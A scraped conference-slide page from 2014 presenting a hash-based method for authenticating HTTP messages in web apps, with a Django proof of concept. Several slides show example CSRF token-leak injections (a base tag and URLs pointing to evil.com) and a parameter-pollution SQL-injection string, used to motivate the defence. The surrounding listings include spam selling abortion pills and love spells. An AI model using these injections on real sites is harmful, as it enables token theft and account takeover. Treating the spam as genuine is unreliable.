VTU technical seminar 8Th Sem on Scikit-learnVTU technical seminar 8Th Sem on Scikit-learn
VTU technical seminar 8Th Sem on Scikit-learnAmarnathKambale
 
Devoxx UK 2024 - Going serverless with Quarkus, GraalVM native images and AWS...
Devoxx UK 2024 - Going serverless with Quarkus, GraalVM native images and AWS...Devoxx UK 2024 - Going serverless with Quarkus, GraalVM native images and AWS...
Devoxx UK 2024 - Going serverless with Quarkus, GraalVM native images and AWS...Bert Jan Schrijver
 
Large-scale Logging Made Easy: Meetup at Deutsche Bank 2024
Large-scale Logging Made Easy: Meetup at Deutsche Bank 2024Large-scale Logging Made Easy: Meetup at Deutsche Bank 2024
Large-scale Logging Made Easy: Meetup at Deutsche Bank 2024VictoriaMetrics
 
%in Midrand+277-882-255-28 abortion pills for sale in midrand
%in Midrand+277-882-255-28 abortion pills for sale in midrand%in Midrand+277-882-255-28 abortion pills for sale in midrand
%in Midrand+277-882-255-28 abortion pills for sale in midrandmasabamasaba
 
%+27788225528 love spells in new york Psychic Readings, Attraction spells,Bri...
%+27788225528 love spells in new york Psychic Readings, Attraction spells,Bri...%+27788225528 love spells in new york Psychic Readings, Attraction spells,Bri...
%+27788225528 love spells in new york Psychic Readings, Attraction spells,Bri...masabamasaba
 
Artyushina_Guest lecture_YorkU CS May 2024.pptx
Artyushina_Guest lecture_YorkU CS May 2024.pptxArtyushina_Guest lecture_YorkU CS May 2024.pptx
Artyushina_Guest lecture_YorkU CS May 2024.pptxAnnaArtyushina1
 
Direct Style Effect Systems - The Print[A] Example - A Comprehension Aid
Direct Style Effect Systems -The Print[A] Example- A Comprehension AidDirect Style Effect Systems -The Print[A] Example- A Comprehension Aid
Direct Style Effect Systems - The Print[A] Example - A Comprehension AidPhilip Schwarz
 
Architecture decision records - How not to get lost in the past
Architecture decision records - How not to get lost in the pastArchitecture decision records - How not to get lost in the past
Architecture decision records - How not to get lost in the pastPapp Krisztián
 
W01_panagenda_Navigating-the-Future-with-The-Hitchhikers-Guide-to-Notes-and-D...
W01_panagenda_Navigating-the-Future-with-The-Hitchhikers-Guide-to-Notes-and-D...W01_panagenda_Navigating-the-Future-with-The-Hitchhikers-Guide-to-Notes-and-D...
W01_panagenda_Navigating-the-Future-with-The-Hitchhikers-Guide-to-Notes-and-D...panagenda
 
Announcing Codolex 2.0 from GDK Software
Announcing Codolex 2.0 from GDK SoftwareAnnouncing Codolex 2.0 from GDK Software
Announcing Codolex 2.0 from GDK SoftwareJim McKeeth
 
%in Bahrain+277-882-255-28 abortion pills for sale in Bahrain
%in Bahrain+277-882-255-28 abortion pills for sale in Bahrain%in Bahrain+277-882-255-28 abortion pills for sale in Bahrain
%in Bahrain+277-882-255-28 abortion pills for sale in Bahrainmasabamasaba
 

Recently uploaded (20)

WSO2CON 2024 - WSO2's Digital Transformation Journey with Choreo: A Platforml...
WSO2CON 2024 - WSO2's Digital Transformation Journey with Choreo: A Platforml...WSO2CON 2024 - WSO2's Digital Transformation Journey with Choreo: A Platforml...
WSO2CON 2024 - WSO2's Digital Transformation Journey with Choreo: A Platforml...
 
%in tembisa+277-882-255-28 abortion pills for sale in tembisa
%in tembisa+277-882-255-28 abortion pills for sale in tembisa%in tembisa+277-882-255-28 abortion pills for sale in tembisa
%in tembisa+277-882-255-28 abortion pills for sale in tembisa
 
Microsoft AI Transformation Partner Playbook.pdf
Microsoft AI Transformation Partner Playbook.pdfMicrosoft AI Transformation Partner Playbook.pdf
Microsoft AI Transformation Partner Playbook.pdf
 
%in Benoni+277-882-255-28 abortion pills for sale in Benoni
%in Benoni+277-882-255-28 abortion pills for sale in Benoni%in Benoni+277-882-255-28 abortion pills for sale in Benoni
%in Benoni+277-882-255-28 abortion pills for sale in Benoni
 
WSO2Con2024 - WSO2's IAM Vision: Identity-Led Digital Transformation
WSO2Con2024 - WSO2's IAM Vision: Identity-Led Digital TransformationWSO2Con2024 - WSO2's IAM Vision: Identity-Led Digital Transformation
WSO2Con2024 - WSO2's IAM Vision: Identity-Led Digital Transformation
 
OpenChain - The Ramifications of ISO/IEC 5230 and ISO/IEC 18974 for Legal Pro...
OpenChain - The Ramifications of ISO/IEC 5230 and ISO/IEC 18974 for Legal Pro...OpenChain - The Ramifications of ISO/IEC 5230 and ISO/IEC 18974 for Legal Pro...
OpenChain - The Ramifications of ISO/IEC 5230 and ISO/IEC 18974 for Legal Pro...
 
WSO2CON 2024 - Building the API First Enterprise – Running an API Program, fr...
WSO2CON 2024 - Building the API First Enterprise – Running an API Program, fr...WSO2CON 2024 - Building the API First Enterprise – Running an API Program, fr...
WSO2CON 2024 - Building the API First Enterprise – Running an API Program, fr...
 
%+27788225528 love spells in Toronto Psychic Readings, Attraction spells,Brin...
%+27788225528 love spells in Toronto Psychic Readings, Attraction spells,Brin...%+27788225528 love spells in Toronto Psychic Readings, Attraction spells,Brin...
%+27788225528 love spells in Toronto Psychic Readings, Attraction spells,Brin...
 
VTU technical seminar 8Th Sem on Scikit-learn
VTU technical seminar 8Th Sem on Scikit-learnVTU technical seminar 8Th Sem on Scikit-learn
VTU technical seminar 8Th Sem on Scikit-learn
 
Devoxx UK 2024 - Going serverless with Quarkus, GraalVM native images and AWS...
Devoxx UK 2024 - Going serverless with Quarkus, GraalVM native images and AWS...Devoxx UK 2024 - Going serverless with Quarkus, GraalVM native images and AWS...
Devoxx UK 2024 - Going serverless with Quarkus, GraalVM native images and AWS...
 
Large-scale Logging Made Easy: Meetup at Deutsche Bank 2024
Large-scale Logging Made Easy: Meetup at Deutsche Bank 2024Large-scale Logging Made Easy: Meetup at Deutsche Bank 2024
Large-scale Logging Made Easy: Meetup at Deutsche Bank 2024
 
Abortion Pills In Pretoria ](+27832195400*)[ 🏥 Women's Abortion Clinic In Pre...
Abortion Pills In Pretoria ](+27832195400*)[ 🏥 Women's Abortion Clinic In Pre...Abortion Pills In Pretoria ](+27832195400*)[ 🏥 Women's Abortion Clinic In Pre...
Abortion Pills In Pretoria ](+27832195400*)[ 🏥 Women's Abortion Clinic In Pre...
 
%in Midrand+277-882-255-28 abortion pills for sale in midrand
%in Midrand+277-882-255-28 abortion pills for sale in midrand%in Midrand+277-882-255-28 abortion pills for sale in midrand
%in Midrand+277-882-255-28 abortion pills for sale in midrand
 
%+27788225528 love spells in new york Psychic Readings, Attraction spells,Bri...
%+27788225528 love spells in new york Psychic Readings, Attraction spells,Bri...%+27788225528 love spells in new york Psychic Readings, Attraction spells,Bri...
%+27788225528 love spells in new york Psychic Readings, Attraction spells,Bri...
 
Artyushina_Guest lecture_YorkU CS May 2024.pptx
Artyushina_Guest lecture_YorkU CS May 2024.pptxArtyushina_Guest lecture_YorkU CS May 2024.pptx
Artyushina_Guest lecture_YorkU CS May 2024.pptx
 
Direct Style Effect Systems - The Print[A] Example - A Comprehension Aid
Direct Style Effect Systems -The Print[A] Example- A Comprehension AidDirect Style Effect Systems -The Print[A] Example- A Comprehension Aid
Direct Style Effect Systems - The Print[A] Example - A Comprehension Aid
 
Architecture decision records - How not to get lost in the past
Architecture decision records - How not to get lost in the pastArchitecture decision records - How not to get lost in the past
Architecture decision records - How not to get lost in the past
 
W01_panagenda_Navigating-the-Future-with-The-Hitchhikers-Guide-to-Notes-and-D...
W01_panagenda_Navigating-the-Future-with-The-Hitchhikers-Guide-to-Notes-and-D...W01_panagenda_Navigating-the-Future-with-The-Hitchhikers-Guide-to-Notes-and-D...
W01_panagenda_Navigating-the-Future-with-The-Hitchhikers-Guide-to-Notes-and-D...
 
Announcing Codolex 2.0 from GDK Software
Announcing Codolex 2.0 from GDK SoftwareAnnouncing Codolex 2.0 from GDK Software
Announcing Codolex 2.0 from GDK Software
 
%in Bahrain+277-882-255-28 abortion pills for sale in Bahrain
%in Bahrain+277-882-255-28 abortion pills for sale in Bahrain%in Bahrain+277-882-255-28 abortion pills for sale in Bahrain
%in Bahrain+277-882-255-28 abortion pills for sale in Bahrain
 

General Method of HTTP Messages Authentication Based on Hash Functions in Web Applications

  • 1. General Method of HTTP Messages Authentication Based on Hash Functions in Web Applications Denis Kolegov Tomsk State University Information Security and Cryptography Department SEPTEMBER 8 - 13 EKATERINBURG 2014
  • 2. Introduction •HTTP doesn’t have built in message authentication mechanisms •HTTP messages authentication for web forms –Origin authenticity –Parameter names and values integrity –Workflow integrity •OWASP Top 10 2013 –A4 Insecure Direct Object Reference –A7 Missing Function Level Access Control –A8 Cross-Site Request Forgery (CSRF) •Advanced Features –Attack surface reduction –Protection against automated attacks 2
  • 3. Example 1 – CSRF Attack 3 •Protection methods –Synchronizer token pattern –Double submit cookies –Encrypted token pattern –Header-based (Referer, X-Requested-With, custom headers) –Origin header •Attacks –Token leakage –Token prediction –Token retrieving (e.g., BREACH attack) –Cookie injection
  • 4. Example 2 – CSRF Token Leakage •<BASE> jumping attack <base href="http://evil.com/"> ← Injection point <form action="create_folder"> <input type="hidden" name="csrf_token" value="21312">… </form> •Malicious request http://evil.com/create_folder?csrf_token=21312 •Stolen CSRF token can be used by an attacker in different context http://example.com/admin/delete_account?csrf_token=21312 4
  • 5. Example 3 – CSRF Token Leakage •POST request based on location.hash value is used to download content from example.com/#/mypage example.com/#/evil.com ← Injection point •Malicious request POST http://evil.com/get_content Host: evil.com rn csrf_token=21312 •Stolen CSRF token can be used by an attacker in different context http://example.com/admin/delete_account.php?csrf_token=21312 5
  • 6. Example 4 – CSRF Token Leakage •Content from http://example.com includes the following form <form action="$_SERVER['REFERER_URI']"> ← Injection point <input type="hidden" name="csrf_token" value="21312">… </form> •http://site.com//evil.com/../search corresponds to the following form <form action="//evil.com/../search"> <input type="hidden" name="csrf_token" value="21312">… </form> •Malicious request http://evil.com/../search?csrf_token=21312 •Stolen CSRF token can be used by an attacker in different context http://example.com/admin/delete_account.php?csrf_token=21312 6
  • 7. Example 5 – Parameter Pollution •Supplying multiple HTTP parameters with the same name may cause an application to interpret values in unanticipated ways /index.aspx?page=select 1,2,3 from table ← SQL-injection is detected /index.aspx?page=select 1&page=2,3 from table •Different web technologies manage multiple occurrences of the same parameter in different ways 7
  • 8. Example 6 – BREACH attack against CSRF Token •Attackers could figure out CSRF token even when the communication was encrypted •CSRF Tokens must be unique per request if HTTP Response compression is used •Facebook tokens –CSRF_Token = SHA2(accound_id, current_date, random_salt) •Links –https://blog.whitehatsec.com/raising-the-csrf-bar/ –https://www.facebook.com/notes/protect-the-graph/preventing-a-breach- attack/1455331811373632 8
  • 9. Example 7 - Insecure Direct Object Reference 9
  • 10. Example 8 - Insecure Direct Object Reference 10
  • 11. Causes and Consequences 11 Vulnerability Attack Weakness Threat Insecurity Risk Unsafety
  • 12. Known Approaches •CSRF-tokens –Encryption-based –HMAC-based •Authenticated HTTP requests –RFC 6749 «The OAuth 1.0 Protocol» •«Signed requests» API (Yahoo, Amazon, Facebook, Twitter) •WAF –ModSecurity: HMAC Token Protection –F5 Networks ASM: Dynamic Content Value •Frameworks –ASP.NET Event Validation, View State MAC 12
  • 13. Limitations of Known Approaches •As a rule, web applications are protected from attacks against authenticity origin (e.g., CSRF attack) •HTTP messages authentication mechanisms are implemented in special protocols, API or WAFs •Client-side generated data and input fields are out of scope •Protocols should consider HTTP protocol features and influence of session management and load balancing mechanisms •Workflow protection is not implemented in known frameworks 13
  • 14. Authenticator Base String •Authenticator base string (ABS) is a normalized string, calculated from object’s and subject’s attributes according to security policy •The ABS includes the following elements of the HTTP request –Parameter names and values –User’s identifiers (session cookie mandatory should be there) –Resource’s identifier (URI) –HTTP request method –HTTP custom headers •Encoding and delimiters –BASE64, HEX –Special characters (# & ; =) 14
  • 15. Web Form Parameters •Controlled by name –An attacker can’t change parameter names that were set by server in HTTP response •Controlled by value –An attacker can’t change parameter values that were set by server in HTTP response •Validated –Client-side generated data –User’s input fields 15
  • 16. Base Validation Protocol •We want to validate user’s input using HMAC and authenticator string •Protocol parameters –A – alphabet of permitted input characters (e.g., 0,1,…,9) –U – union operation –w – user’s input –S(w) – set of word w characters –L(A) – string of ordered elements of set A –k – secret key •Protocol actions –Client ← Server: response, containing web form with input field and hidden field with mac = HMAC(k, L(A)) value –Client → Server: request with mac and w parameters –Server: if HMAC(k, L(A U S(w)) = mac then request is permitted 16
  • 17. •ABS is constructed by concatenating the following HTTP request elements according to security policy auth = ordered list of parameter names + ";" + ordered list of pairs (parameter name = value or #) + ";" + user’s identifier + ";" + resource’s identifier + ";" + HTTP method String Construction 17
  • 18. 1.Create L = {p1, …, pm} ordered list of parameter name-value pairs of object request 2. If parameters are controlled by name then auth = name(p1)+ "&" + … + "&" + name(pm) + ";" 3. For each p from L if p is controlled then auth = auth + name(p) + "=" + value(p) + "&“ if p is validated then auth = auth + name(p) + "=#&" 4. Add identification data of user and resource, and the HTTP method auth = auth + "; " + IDs + ";" + IDr + ";" + op Construction Method 18
  • 19. Sessionless Protocol •Parameters –k – server’s master key –kr – server’s one-time random key –IDr – resource's identifier –IDs – user’s identifier –LP – security policy expressed in a specific language –time – timestamp –E – encryption function, h – hash function •All servers share the same master key and there are no data in session •Protocol actions –Client → Server: initial request from user (IDs) to resource (IDr) –Client ← Server: response , containing access attributes mac = h(kr, auth, time) and Ek(LP , time, kr) –Client → Server: final request with IDs’, IDr’, mac’, Ek(LP, time, kr) 19
  • 20. Sessionful Protocol •Parameters –k – server’s key –IDr – resource's identifier –IDs – user’s identifier –LP – security policy expressed in a specific language –time – timestamp –E – encryption function, h – hash function •Session data –k, time and LP are stored in user’s session •Protocol actions –Client → Server: initial request from user (IDs) to resource (IDr) –Client ← Server: response, containing access attributes mac = h(k, auth, time) –Client → Server: final request with IDs’, IDr’, mac’ 20
  • 22. •ABAC can be configured to implement DAC, MAC, or RBAC (Jin, Krishnan, Sandhu, 2012) •Attribute is a property expressed as a name:value pair associated with any entity in the system •The proposed method of HTTP messages authentication can be expressed in terms of ABAC model •All this creates the prerequisites for unified access control mechanism in web applications ABAC properties 22
  • 23. •Elements of model –Operations – the HTTP methods (GET, POST, PUT, etc) –Objects – URIs –Object attributes – permitted parameters for access to object –Subject – HTTP request to objects –Subject attributes – HTTP request parameters and headers •Access rule –Subject can access object if and only if authenticator calculated from object’s attributes is equal to authenticator calculated from subject’s attributes Formal Description in ABAC 23
  • 24. The Control of Workflow Integrity 24 •We are currently researching if it possible to develop workflow protection mechanisms in the context of proposed method •Proposed HTTP messages authentication method makes some attacks against workflow impossible •Another enhancement of the method is adding a current state and sequence of permitted sates in the policy stored on a client-side in the encrypted form
  • 25. Proof of Concept •Django Framework •Web forms strict security •Project –https://github.com/tsu-iscd/django-HTTPauth •Modes –Sessionless –Sessionful 25
  • 26. Features •Strict protection against CSRF attack •CSRF-tokens protection –time to live – protection against replay attacks –randomization – protection against BREACH-like attacks –context – protection against leakage •Integrity control of parameter names and values •Parameter values validation in a given alphabet •Support configuration without persistent and sharing sessions 26
  • 27. Policy Description auth_policy = { “object”: URI regular expression, “subject”: session identifier name, “name_protection”: True | False, “replay_protection”: { “enable”: True | False, “interval”: value}, “parameter_protection”: { parameter_name: { “action”: “control” | “validate” “value”: regular expression }, …, } } 27
  • 28. Policy Example class ClientForm(forms.Form): product = forms.CharField(initial='Test') price = forms.IntegerField() policy = {'object':'http://127.0.0.1:8000/add/', 'name_protection' : False, 'replay_protection': { 'enable':True, 'interval':'30' }, 'parameter_protection': { ‘product': { 'action':'validate', 'value':'[A-Za-z]+'}, 'price': { 'action':'control'}}} 28
  • 30. Conclusion •HTTP messages authentication ABAC model is developed •General HTTP authentication method allowing to control and to validate client-side generated data is proposed •Authentication protocol adapted to employment in web applications is designed –Proposed approach can be employ in configurations without sharing or persistent sessions support –Protocol data can be stored on server-side and client-side •PoC have been implemented in Django framework 30
  • 31. Bibliography •Vladimir Kochetkov. How to Develop a Secure Web Application and Stay in Mind? URL: http://www.slideshare.net/kochetkov.vladimir/how- to-develop-a-secure-web-application-and-stay-in-mind-phdays-3 •Jim Monico, Eoin Keary. Form Processing and Workflows. URL: http://secappdev.org/handouts/2014/Jim%20Manico/HTML%20Forms%20and%20Workflows%20v3.pdf •Sergey Bobrov. Web Application Attacks via Request-URI. URL: http://xakep.ru/issue/xa-171/ •TrustWave’s SpiderLabs. HMAC Token Protection. URL: http://blog.spiderlabs.com/2014/01/modsecurity-advanced-topic-of- the-week-hmac-token-protection.html 31
  • 32. 32 Denis Kolegov E-mail: dnkolegov@gmail.com Twitter: @dnkolegov